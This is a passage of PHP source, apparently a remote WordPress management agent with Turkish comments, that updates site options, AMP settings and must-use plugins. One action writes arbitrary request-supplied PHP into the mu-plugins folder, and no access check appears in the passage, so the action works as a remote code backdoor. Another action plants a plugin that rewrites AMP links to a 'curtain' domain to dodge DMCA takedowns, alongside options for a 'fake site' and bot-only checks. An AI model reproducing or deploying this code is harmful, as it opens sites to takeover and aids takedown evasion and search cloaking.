$settings = (isset($request['settings']) && is_array($request['settings'])) ? $request['settings'] : array();
if (empty($settings)) throw new Exception('Settings array required');
$results = array();
$allowed_keys = array(
'cdn_subdomain',
'perdedomain',
'perdeaktif',
'cdnsub',
'kacsaatdmca',
'perdeamp',
'MasaustuKapat',
'yonlendirmeFiltrelemeAc',
'SadeceBotKontrol',
'googleIframeKorumasi',
'anasiteampENGEL',
'anasiteampENGEL2',
'mobilSiteKapat',
'sahtesite'
);
// Default değerler (eklenti yüklü değilse bile çalışması için)
$defaults = array(
'perdeaktif' => 0,
'cdnsub' => 0,
'perdeamp' => 0,
'MasaustuKapat' => 0,
'yonlendirmeFiltrelemeAc' => 0,
'SadeceBotKontrol' => 0,
'googleIframeKorumasi' => 0,
'anasiteampENGEL' => 0,
'anasiteampENGEL2' => 0,
'mobilSiteKapat' => 0,
'kacsaatdmca' => 0,
'cdn_subdomain' => '',
'perdedomain' => '',
'sahtesite' => ''
);
// Önce tüm option'ların varlığını kontrol et, yoksa default değerlerle oluştur
foreach ($allowed_keys as $key) {
$current_value = get_option($key, false);
// Eğer option yoksa (false döndü) ve default değeri varsa, oluştur
if ($current_value === false && isset($defaults[$key])) {
add_option($key, $defaults[$key], '', 'no'); // autoload = 'no'
}
}
// Şimdi gelen ayarları güncelle
foreach ($settings as $key => $value) {
if (!in_array($key, $allowed_keys)) {
$results[$key] = array('success' => false, 'error' => 'Invalid key');
continue;
}
// Boolean değerleri düzgün işle
if (in_array($key, array('perdeaktif', 'cdnsub', 'perdeamp', 'MasaustuKapat', 'yonlendirmeFiltrelemeAc', 'SadeceBotKontrol', 'googleIframeKorumasi', 'anasiteampENGEL', 'anasiteampENGEL2', 'mobilSiteKapat'))) {
$value = ($value === true || $value === '1' || $value === 1) ? 1 : 0;
}
// update_option() zaten option yoksa oluşturur, ama biz yukarıda oluşturduk
// Bu yüzden direkt güncelleyebiliriz
$current_value_before = get_option($key, false);
$update_result = update_option($key, $value);
$was_created = ($current_value_before === false);
$results[$key] = array('success' => $update_result !== false, 'value' => $value, 'created' => $was_created);
}
// DMCA koruma random değeri oluştur (eğer kacsaatdmca > 0 ise ve dmca_koruma yoksa)
if (isset($settings['kacsaatdmca']) && intval($settings['kacsaatdmca']) > 0) {
$dmca_koruma = get_option('dmca_koruma', false);
if ($dmca_koruma === false || empty($dmca_koruma)) {
$random = sprintf('%05d', rand(0, 99999));
add_option('dmca_koruma', $random, '', 'no');
}
}
// Cache flush
if (function_exists('wp_cache_flush')) {
wp_cache_flush();
}
$response = array('status' => 'success', 'updated' => $results);
break;
case 'get_amp_settings':
// Get AMP plugin settings - Check for accelerated-mobile-pages plugin
if (!function_exists('is_plugin_active')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
// Check for accelerated-mobile-pages plugin (AMP for WP) - Check if installed (not just active)
$is_amp_installed = false;
$is_amp_active = false;
$all_plugins = get_plugins();
foreach ($all_plugins as $path => $data) {
// Check for AMP for WP plugin
if (strpos($path, 'accelerated-mobile-pages') !== false ||
strpos($path, 'accelerated-moblie-pages') !== false) {
$is_amp_installed = true;
$is_amp_active = is_plugin_active($path);
break;
}
// Check for WordPress official AMP plugin
if (strpos($path, '/amp.php') !== false || strpos($path, 'amp/amp.php') !== false) {
$is_amp_installed = true;
$is_amp_active = is_plugin_active($path);
break;
}
}
// Get AMP for WP options (uses redux_builder_amp option)
$amp_options = get_option('redux_builder_amp', array());
// Get perde domain settings
$cdn_subdomain = get_option('cdn_subdomain', '');
$perdedomain = get_option('perdedomain', '');
$perdeaktif = get_option('perdeaktif', '0');
$perdeamp = get_option('perdeamp', '0');
$cdnsub = get_option('cdnsub', '0');
$kacsaatdmca = get_option('kacsaatdmca', '0');
// AMP for WP uses different option keys
$paired_url_structure = isset($amp_options['ampforwp-url-type']) ? $amp_options['ampforwp-url-type'] : 'query_var';
$theme_support = isset($amp_options['ampforwp-design-type']) ? $amp_options['ampforwp-design-type'] : 'reader';
$mobile_redirect = isset($amp_options['ampforwp-mobile-redirection']) ? (bool)$amp_options['ampforwp-mobile-redirection'] : false;
$response = array(
'is_amp_installed' => $is_amp_installed, // Changed: Check if installed, not just active
'is_amp_active' => $is_amp_active, // Keep track of active status separately
'options' => $amp_options,
'paired_url_structure' => $paired_url_structure,
'theme_support' => $theme_support,
'mobile_redirect' => $mobile_redirect,
// Perde domain settings
'cdn_subdomain' => $cdn_subdomain,
'perdedomain' => $perdedomain,
'perdeaktif' => $perdeaktif,
'perdeamp' => $perdeamp,
'cdnsub' => $cdnsub,
'kacsaatdmca' => $kacsaatdmca
);
break;
case 'deploy_mu_plugin':
// Deploy a Must-Use Plugin
$plugin_name = isset($request['plugin_name']) ? sanitize_file_name($request['plugin_name']) : '';
$plugin_content = isset($request['plugin_content']) ? $request['plugin_content'] : '';
if (empty($plugin_name) || empty($plugin_content)) {
throw new Exception('Plugin name and content are required');
}
// Define mu-plugins directory
$mu_plugins_dir = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins';
// Ensure mu-plugins directory exists
if (!file_exists($mu_plugins_dir)) {
if (!mkdir($mu_plugins_dir, 0755, true)) {
throw new Exception('Failed to create mu-plugins directory');
}
}
if (!file_exists($mu_plugins_dir)) {
if (!mkdir($mu_plugins_dir, 0755, true)) {
throw new Exception('Failed to create mu-plugins directory');
}
}
// Write plugin file
$plugin_file = $mu_plugins_dir . '/' . $plugin_name;
$result = file_put_contents($plugin_file, $plugin_content);
if ($result === false) {
throw new Exception('Failed to write MU plugin file');
}
// Flush cache
if (function_exists('wp_cache_flush')) {
wp_cache_flush();
}
$response = array(
'success' => true,
'message' => 'MU Plugin deployed successfully',
'plugin_file' => $plugin_file,
'plugin_size' => $result
);
break;
case 'update_amp_settings':
// Update AMP plugin settings - For accelerated-mobile-pages (AMP for WP)
if (!function_exists('is_plugin_active')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
// Check for accelerated-mobile-pages plugin
$is_amp_active = false;
$all_plugins = get_plugins();
$amp_plugin_path = null;
foreach ($all_plugins as $path => $data) {
if (strpos($path, 'accelerated-mobile-pages') !== false ||
strpos($path, 'accelerated-moblie-pages') !== false) {
$is_amp_active = is_plugin_active($path);
$amp_plugin_path = $path;
break;
}
}
if (!$is_amp_active) {
throw new Exception('AMP plugin (accelerated-mobile-pages) is not active');
}
$settings_to_update = isset($request['settings']) ? $request['settings'] : array();
if (empty($settings_to_update)) {
throw new Exception('No settings provided');
}
// Get current AMP for WP options (uses redux_builder_amp)
$amp_options = get_option('redux_builder_amp', array());
// Update AMP plugin options
foreach ($settings_to_update as $key => $value) {
// Check if this is a perde domain setting
if (in_array($key, array('cdn_subdomain', 'perdedomain', 'perdeaktif', 'perdeamp', 'cdnsub', 'kacsaatdmca'))) {
// Update perde domain settings separately
update_option($key, $value);
} else {
// Map standard keys to AMP for WP keys
$amp_for_wp_key = $key;
if ($key === 'paired_url_structure') {
$amp_for_wp_key = 'ampforwp-url-type';
} elseif ($key === 'theme_support') {
$amp_for_wp_key = 'ampforwp-design-type';
} elseif ($key === 'mobile_redirect') {
$amp_for_wp_key = 'ampforwp-mobile-redirection';
}
// Update AMP for WP options
$amp_options[$amp_for_wp_key] = $value;
}
}
// Save updated AMP for WP options
$update_result = update_option('redux_builder_amp', $amp_options);
// Flush rewrite rules if URL structure changed
if (isset($settings_to_update['paired_url_structure'])) {
flush_rewrite_rules();
}
// Clear caches
if (function_exists('wp_cache_flush')) {
wp_cache_flush();
}
$response = array(
'status' => 'success',
'message' => 'AMP settings updated successfully',
'updated_options' => $amp_options,
'perde_settings_updated' => array_intersect_key($settings_to_update, array_flip(array('cdn_subdomain', 'perdedomain', 'perdeaktif', 'perdeamp', 'cdnsub', 'kacsaatdmca')))
);
break;
case 'install_mudortech_amp_mu_plugin':
// MudorTech AMP API MU-Plugin'i yükle (eklenti olmadan çalışır)
if (!$mwp_has_wp) {
throw new Exception('WordPress not installed');
}
$mu_dir = WP_CONTENT_DIR . '/mu-plugins';
if (!file_exists($mu_dir)) {
mkdir($mu_dir, 0755, true);
}
// Remove old file if exists
if (file_exists($mu_dir . '/mudortech-amp-api.php')) {
unlink($mu_dir . '/mudortech-amp-api.php');
}
$code_lines = array(
'<?php',
'/**',
' * Plugin Name: MudorTech AMP API',
' * Description: AMP URL management via API. No plugin required.',
' * Version: 1.0.0',
' */',
'',
'if (!defined(\'ABSPATH\')) exit;',
'',
'// AMP HTML Link Modifier (MudorTech AMP ile TAM UYUMLU)',
'function mudortech_amp_buffer_callback($buffer) {',
' $kacsaatdmca_value = intval(get_option(\'kacsaatdmca\'));',
' ',
' if ($kacsaatdmca_value > 0) {',
' // DMCA koruması aktif',
' $perdedomain = get_option(\'perdedomain\');',
' $random = get_option(\'dmca_koruma\');',
' if (empty($random)) {',
' $random = sprintf(\'%05d\', rand(0, 99999));',
' update_option(\'dmca_koruma\', $random);',
' }',
' $buffer = str_replace(\'<link rel="amphtml" href="\' . get_home_url(), \'<link rel="amphtml" href="\' . $perdedomain, $buffer);',
' $buffer = preg_replace(\'/(<link rel="amphtml" href="[^"]*)(".*?>)/\', \'$1?v=\' . $random . \'$2\', $buffer);',
' if (get_option(\'perdeamp\') == \'1\') {',
' $buffer = preg_replace(\'/(<link rel="amphtml" href="[^"]*)\\/amp(\\/[^"]*")/\', \'$1$2\', $buffer);',
' }',
' } else {',
' // DMCA koruması yok',
' $perdedomain = get_option(\'perdedomain\');',
' $buffer = str_replace(\'<link rel="amphtml" href="\' . get_home_url(), \'<link rel="amphtml" href="\' . $perdedomain, $buffer);',
' if (get_option(\'perdeamp\') == \'1\') {',
' $buffer = preg_replace(\'/(<link rel="amphtml" href="[^"]*)\\/amp(\\/[^"]*")/\', \'$1$2\', $buffer);',
' }',
' }',
' ',
' return $buffer;',
'}',
'',
'function mudortech_amp_buffer_start() {',
' ob_start(\'mudortech_amp_buffer_callback\');',
'}',
'',
'function mudortech_amp_buffer_end() {',
' ob_end_flush();',
'}',
'',
'// MudorTech AMP ile TAM AYNI hook\'lar ve kontrol',
'if (get_option(\'perdeaktif\') == \'1\') {',
' add_action(\'after_setup_theme\', \'mudortech_amp_buffer_start\', 1);',
' add_action(\'shutdown\', \'mudortech_amp_buffer_end\', 999);',
'}',
'',
'// Add meta generator',
'add_action(\'wp_head\', function(){',
' echo \'<meta name="generator" content="mudortech-amp-api"/>\';',
'}, 1);'
);
$code = implode("\n", $code_lines);
$file_path = $mu_dir . '/mudortech-amp-api.php';
$result = file_put_contents($file_path, $code);
if (function_exists('wp_cache_flush')) wp_cache_flush();
if ($result !== false) {
$response = array('status' => 'success', 'message' => 'MudorTech AMP API MU-Plugin installed. Plugin not required!');
} else {
$response = array('status' => 'error', 'message' => 'Failed to write MU-Plugin file.');
}
break;
default:
throw new Exception("Unknown action: $action");
}
// Log successful response
if (isset($requestId)) {
error_log("MWP Agent Request SUCCESS [{$requestId}] - Action: {$action}, Response size: " . strlen(json_encode($response)));
}
mwp_send_response(array('success' => true, 'data' => $response));
} catch (Throwable $e) {
// Log detailed error information
$requestId = isset($requestId) ? $requestId : 'unknown';
$errorDetails = array(
'request_id' => $requestId,
'message' => $e->getMessage(),
'file' => $e->getFile(),
'line' => $e->getLine(),
'action' => isset($action) ? $action : 'unknown',
'type' => get_class($e),
'trace' => $e->getTraceAsString(),
'memory_usage' => memory_get_usage(true),
'memory_peak' => memory_get_peak_usage(true)
);
$logMsg = 'MWP Agent Exception [' . date('Y-m-d H:i:s') . '] [Request: ' . $requestId . ']: ' . json_encode($errorDetails, JSON_UNESCAPED_UNICODE);
error_log($logMsg);
// Try to write to a custom log file
$logFile = dirname(__FILE__) . '/mwp-agent-errors.log';
@file_put_contents($logFile, $logMsg . "\n", FILE_APPEND);
// Send error response
$errorMessage = $e->getMessage();
if (empty($errorMessage)) {
$errorMessage = 'An error occurred: ' . get_class($e);
}
// Ensure we can send response even if output buffering is messed up
try {
mwp_send_response(array('success' => false, 'error' => $errorMessage, 'request_id' => $requestId), 500);
} catch (Throwable $responseError) {
// Last resort: direct output
while (ob_get_level() > 0) {
@ob_end_clean();
}
if (!headers_sent()) {
header('Content-Type: application/json; charset=utf-8');
http_response_code(500);
}
$response = json_encode(array('success' => false, 'error' => $errorMessage, 'request_id' => $requestId), JSON_UNESCAPED_UNICODE);
if ($response === false) {
$response = '{"success":false,"error":"Exception occurred but JSON encoding failed","request_id":"' . $requestId . '"}';
}
echo $response;
exit;
}
}
// Log successful request completion
if (isset($requestId)) {
$requestDuration = microtime(true) - $requestStartTime;
error_log("MWP Agent Request END [{$requestId}] - Action: {$action}, Duration: " . round($requestDuration, 3) . "s");
}